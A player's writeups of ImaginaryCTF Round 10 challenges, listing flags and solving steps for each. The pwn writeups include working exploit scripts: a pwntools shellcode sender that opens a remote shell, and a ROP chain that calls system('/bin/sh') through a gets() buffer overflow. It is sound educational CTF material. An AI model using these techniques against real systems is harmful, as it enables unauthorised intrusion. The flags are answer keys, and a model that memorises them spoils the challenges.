Max49's ICTF Round 10 Challenge Writeups

Color Key (by point value, not by me): Green = Easy, Yellow = Easy/Medium, Orange = Medium, Red = Hard


Sanity Check Round 10

Welcome to Round 10! DM flags to me to get points, and rise up on the leaderboard! Have fun and enjoy Round 10!

Attachments
https://forms.gle/Yyb19PmAxJjyiuCP9

Category

Misc

Author

Board

Points

15

Solve:

To solve this challenge, all you had to do was submit the Google form (with good feedback, but you could've edited it afterwards if you wanted to rush through it just to get the flag).

Difficulty rating: 1/10

Guessy rating: 1/10

Flag:  

ictf{S@nity_Check_R0und_10}


&aaa

Pwn my server. Connect with nc oreos.ctfchallenge.ga 7331.

Attachments
https://imaginary.ml/r/3727-aaa

Category

Pwn

Author

Eth007

Points

30

Solve:

To solve this challenge, you could have decompiled the binary in ghidra to see that the input had a buffer of 20 characters, which tells you that this is probably buffer overflow. Alternatively, you could've done what I did, which was seeing the category as "pwn" and just inputting AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA to get the flag (main function below with my comments).

            
#include <stdio.h>

int main() {
  int admin=0;
  char name[20]; /* [20] is a buffer */
  setvbuf(stdout,NULL,2,0);
  setvbuf(stdin,NULL,2,0);
  puts("Enter username and password, separated by spaces:");
  gets(name); /* gets() allows for buffer overflow */
  if (admin != 0) {
    system("cat flag.txt"); /* overflow changes the value of admin and prints the flag */
  }
}
            
          

Difficulty rating: 1/10

Guessy rating: 1/10

Flag:  

ictf{buff3r_0verfl0w_1s_d4ng3r0us}


Waiting game...

Life's a waiting game... sometimes you have to wait for a while to get ahead

Attachments
https://waiting-game.max49.repl.co/

Category

Web

Author

Max49

Points

30

Intended Solve:

A quick way to solve this challenge was to just view source and see the url that you would eventually be redirected to in the head. If that's too boring, you also could have used a web interceptor like burp to change the html before the page loaded so that you would be redirected quicker. Going to the url that you would've been redirected to gives you the flag.

Difficulty rating: 1/10

Guessy rating: 1/10

Flag:  

ictf{a_r3a11y_n1ce_wa1t1ng_gam3}


Countdown Baseball

Waiting for the 10 seconds its going to take people to solve this.

Attachments
https://imaginary.ml/r/A1F0-countdown-baseball.txt

Category

Crypto

Author

FIREPONY57

Points

75

Solve:

In this challenge, you're given a long text file with one long line seemingly in binary (base 2). Using CyberChef to decode "From binary" gives us a string seemingly in base 3. From here, we can assume that we will keep increasing this number to get the flag. I used this website from here to finish this up until I reached a string in decimal, from which I converted to ascii to get the flag.

Difficulty rating: 3/10

Guessy rating: 5/10

Flag:  

ictf{b@s3s_g@10r3}


neat-rsa

RSA is pretty neat, especially when a source is provided.

Attachments

https://imaginary.ml/r/C2F4-main.py
https://imaginary.ml/r/A9AA-rsa.txt

Category

Crypto

Author

ainz

Points

65

Solve:

So this challenge involves knowing a little bit about math (thanks to Robin and ainz for helping me with this). So in rsa.txt, you're given n1, n2 + n1 * elusive, and the ciphertext. From the python file, we can additionally see that n1 is p * q, n2 is q * r, and p, q, and r are 512-number long random prime numbers. We also see that e = 65537 and elusive is a completely random number. From all the randomness in this program, someone might be turned away, but there's some interesting properties here. First of all, we can see that n1 and n2 share a common factor, q. From here, we can know that gcd(n1, n2) = q because using random numbers:

gcd(20, 28) = 4

gcd(5 * 4, 4 * 7) = 4

From here, looking at what we're given in rsa.txt, we can try to figure out what gcd(n1, n2 + n1 * elusive) could be. Using random numbers again:

gcd(20, 28) = 4

gcd(20, 28 + 20 * 15) = 4

From this, we can see that gcd of these two numbers is also q. Since we actually have both of these numbers, we now know we can find the gcd of these two numbers to get q (I used this website). Once we get q, we can do n1 / q to get p (I used sagemath to get the full number), and now that we have p, q, e, and the ciphertext, it's textbook rsa from here. I used RsaCtfTool to get the flag.

Difficulty rating: 5/10

Guessy rating: 1/10

Flag:  

ictf{why_c@nt_1_ev3r_c0m3_up_with_c0ol3r_flag5_:rooNobooli:}


Horst

I found this interesting cipher structure. Could you check if it's secure?

Attachments

- https://imaginary.ml/r/5188-horst.py
- https://imaginary.ml/r/A0D2-output.txt

Category

reversing, crypto

Author

Robin_Jadoul

Points

75

Solve:

unsolved :(

Difficulty rating: ?/10

Guessy rating: ?/10

Flag:  

not found


Green shell

The Green Shell is a launchable, which when launched from a player, will start moving. The shell takes 5 bounces on walls before it will break. This can be deadly to players ahead as they must dodge it. It is referred to players as the "worst" shell, mainly because it roams freely instead of targeting a player. The shell is green with black lines. Connect with nc oreos.imaginary.ml 12345.

Attachments

https://imaginary.ml/r/39AF-dist.zip

Category

pwn

Author

Robin_Jadoul

Points

50

Solve:

For this challenge, it was later said that "The program runs any shellcode you give it," which basically tells us what we have to do. Thanks to ainz and Robin for helping me on this problem because previously, I had no idea how to get shell on a remote server. Looking at pwntools' documentation, pwntools actually has a feature to produce shellcode, facilitating this process. After some experimentation, I was able to make this script:

            
from pwn import *

context.arch = "amd64"
p = remote('oreos.ctfchallenge.ga',12345) 
shellcode = shellcraft.amd64.linux.sh()

p.sendline(asm(shellcode))
p.sendline(b'cat flag.txt')
p.recv()

p.interactive()
            
          

Difficulty rating: 4/10

Guessy rating: 1/10

Flag:  

ictf{it's-a_me_sh3llc0d10}


Wordbook

"I'm going to learn some new words..." *opens book

Attachments

nc imaginary.ml 10069

Category

Misc

Author

FIREPONY57

Points

50

Solve:

So when you connect to the server, you're given an encrypted flag and the option to encrypt your own text in the same way. When inputting ictf{, it can be seen that the characters match the first 5 characters of the encrypted flag. So I then got string.printable from python and inputted that. From there I made this script to get me the flag.

            
flag = ""
flag_encoded= "ƑſƲƈLJƂéſƲéæƠĖƬƑïƯųƝĖƗïųǁæƵųƯƝĖƬûïƬǍ"

printable = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'(
)*+,-./:;<=>?@[\]^_`{|}~"
printable_encoded = "æéìïòõøûþāŹżſƂƅƈƋƎƑƔƗƚƝƠƣƦƩƬƯƲƵƸƻƾǁDŽęĜğĢĥĨīĮıĴķĺĽŀŃņʼnŌŏŒŕŘśŞšŤ¹¼
¿ÂÅÈËÎÑÔ×ÚÝàãĄćĊčĐēĖŧŪŭŰųŶLJNJǍǐ¶æéìïòõøûþāŹżſƂƅƈƋƎƑƔƗƚƝƠƣƦƩƬƯƲƵƸƻƾǁDŽęĜğĢĥĨīĮıĴķĺĽŀŃņʼnŌ
ŏŒŕŘśŞšŤ¹¼¿ÂÅÈËÎÑÔ×ÚÝàãĄćĊčĐēĖŧŪŭŰųŶLJNJǍǐ¶"

dictionary = {}

for i in range(len(printable)):
	dictionary[printable_encoded[i]] = printable[i]

for i in range(len(flag_encoded)):
	flag += dictionary[flag_encoded[i]]

print(flag)
            
          

Difficulty rating: 2/10

Guessy rating: 3/10

Flag:  

ictf{d1ct10n@ri3s_m@k3_y0u_sm@r73r}


Introductory ICICLE

Introducing ICICLE (Imaginary Ctf Instruction Collection for Learning assEmbly)! It's a programming challenge, so I didn't want to use an existing language and give some people an unfair advantage, so I made my own! See the spec and implement an interpreter to run the provided file, and get the flag.

Attachments

https://imaginary.ml/r/8DFE-chall1.s, https://imaginary.ml/r/1560-spec_v1.md

Category

Programming/Reversing

Author

puzzler7

Points

100

Solve:

So for this challenge, you're given some intructions in a .s file as well as a .md file of what those instructions are for. From here, you could've gone one of two ways: either reverse the file and make a script specifically for this challenge, or make an interpreter to automatically interpret any ICICLE program. I went the reversing route and make a script by going down the list of instructions and making python equivalents of those instructions as I went. The hardest part of this challenge in my opinion was making the xor() function, but overall, it was a cool chall. Here was my final script:



Adding the print statements before each xor prints a secret message: "You should really write the interpreter instead of doing this reversing! This is the first in a series."

Thanks to Robin and puzzler7 for helping me out on this one!

Difficulty rating: 5/10

Guessy rating: 1/10

Flag:  

ictf{th3_w@rm3st_ICICLE_y0u've_s33n}


&bbb

You overflowed my buffer, now get a shell. The flag is located in another_flag.txt. Connect with nc oreos.ctfchallenge.ga 7331. Good luck! (The binary and connection are the same as in the previous challenge, called "&aaa")

Attachments

https://imaginary.ml/r/3727-aaa

Category

Pwn

Author

Eth007

Points

85

Solve:

Thanks so much to Eth007 for helping me out on this chall, because I had basically no idea what I was doing. I'll just bring you through the process I went through to get the flag for this challenge (it might be a little long).

So firstly, this is the same binary/server as &aaa, meaning that buffer overflow will still get you that flag. What's different about this chall is that you need to go further (get shell) in order to get the other flag. In the previous challenge where we had to get shell, Green Shell, the program just executed whatever shellcode was given, so reusing that script won't work. In this case, we need to use the gets() to get /bin/sh to execute. Looking at the decompiled code in ghidra, we can see that there's a system() function that looks to execute commands and looking at the middle column of ghidra, we can see /bin/sh written out across different addresses. From here, we know we need to somehow make the program execute the /bin/sh in system().

First, we need to figure out our offset in order to get the offset we need to start calling memory addresses. Using pwntools, we can do this by first running cyclic -n 8 1000 to get random characters, getting a seg fault, finding the value of the base pointer ($rbp), and then running cyclic -l <value of rbp> -n 8 (where in this case, rbp was 0x6161616161616165) to get the offset for the base pointer. To get the offset of the instruction pointer ($rip), we just add 8 to get an offset of 40.

So now we can move onto getting /bin/sh to call in system(). Since we want a value to be passed into the first parameter of the system() function to be run, we want to have $rdi equal /bin/sh ($rdi is used to pass the first parameter to functions). To get things moving in the stack, we need gadgets. These can be gotten using the command ROPgadget --binary aaa and grepping for the values we want. In this case, we want ret to pop the original return address and pop rdi. Once we grep for these gadgets, we can start to craft our payload.

In our payload, we first need the offset, which we first determined to be b"A"*40. We then add the ret gadget (p64(0x000000000040101a)) and the pop rdi gadget (p64(0x000000000040191a)) so we can add a new address to the return value of the main function. We then add the address of the /bin/sh (p64(0x00497895)) to fill the spot of the $rdi that we popped and finally the address of system() (p64(0x00411090)) to fill the spot of $ret that we popped. My final script looked like this:

            
from pwn import *

context.arch='amd64'
p = remote("oreos.ctfchallenge.ga", 7331)

offset = 40
p.recvuntil("Enter username and password, separated by spaces:") 

payload = b'A'*offset + p64(0x000000000040101a) + p64(0x000000000040191a) 
+ p64(0x00497895) + p64(0x00411090)

p.sendline(payload)
p.interactive() 
            
          

Running this script should get us shell and from there, we can just cat another_flag.txt to get the flag

This challenge makes use of ROP (Return Oriented Programming) to make a ropchain of memory addresses to get us what we want

Difficulty rating: 6/10

Guessy rating: 1/10

Flag:  

ictf{r0p_t0_th3_r3scu3!}


Imaginary Shop

I just opened my own Imaginary Shop! Come check it out and see what we have to offer. I'm confident it's perfect in every way.

Attachments

https://imaginary-shop.max49.repl.co/

Category

Web

Author

Max49

Points

82

Intended Solve:

So you're actually given the source for this web chall, which makes things much easier. Just by looking for the word "flag" in the code, you can see that the flag is inside the 500 error handler, meaning that we most likely have to get a 500 error in order to access the flag. In flask sites, which is what this is, 500 error are usually returned when an error is encountered in the python code, so now we know we should look through the code in order to find something to error. The "intended" functionality of this website is to buy items from a certain list with enough money, both items gotten from url arguments (ex. /shop?buy=water&money=100). The way to get the code to error was to omit the money argument after adding a correct buy argument (ex. https://imaginary-shop.max49.repl.co/shop?buy=water) After the code errored, all you had to do was match the cookies being checked for in the 500 error handler. This could be accomplished with cURL to get the flag (command: curl -b "item=1;money=1;add=1" https://imaginary-shop.max49.repl.co/shop?buy=bagel).

Intended Difficulty rating: 4/10

Indended Guessy rating: 1/10

Flag:  

ictf{1nt3nt10nal_f1ask_pyth0n_3rr0rs?}


.............................


Boxed in

Box outside the think.

Attachments

https://imaginary.ml/r/BE85-boxed_in.c, nc oreos.imaginary.ml 30000

Category

misc

Author

Robin_Jadoul

Points

100

Solve:

In general, "think outside the box" when referring to tic-tac-toe (which is what the program is) means to place your move outside the 3x3 grid in order to make a 3 in a row. We see that in the source, our input is an "unsigned long" and from this website, we can see that the maximum value of an unsigned long is 18446744073709551615. From here, we can attempt to integer overflow the variable and from what we know about integer overflow, the maximum value + 1 = -1, which would place our tile right off the grid. Aligning our first two squares like below and then inputting the row as 18446744073709551616 and the column as 0 gave us the flag.


Difficulty rating: 3/10

Guessy rating: 1/10

Flag:  

ictf{y0u_mu$t_r3al1ze_there_i$_n0_box}


IRC drama

So freenode is dead you say?
Just find me on ##imaginaryctf on Libera in that case.

Attachments

It's dangerous out there, take this. CTF player obtained gimmeflagpls

Category

Misc

Author

Robin_Jadoul

Points

50

Solve:

For this chall, we're given no attachments except for a string, so from the beginning, I assumed this would be OSINT or involve some searching. Looking up "freenode" tells us that freenode is an IRC, so from here we can assume Libera is also an IRC, hence the name "IRC Drama". Going to the Libera connection guides, we see that we can download an IRC client and then connect to Libera from there. I used Konversation to connect. Looking at the connection guide, I added a new server in Konversation, added the Libera server on port 6667 and then set up a channel with the name ##imaginaryctf and the password gimmeflagpls. Connecting to this channel shows the flag as the topic.

Difficulty rating: 2/10

Guessy rating: 2/10

Flag:  

ictf{freenode_is_dead_long_live_freenode_but_let's_stick_to_discord_I_guess}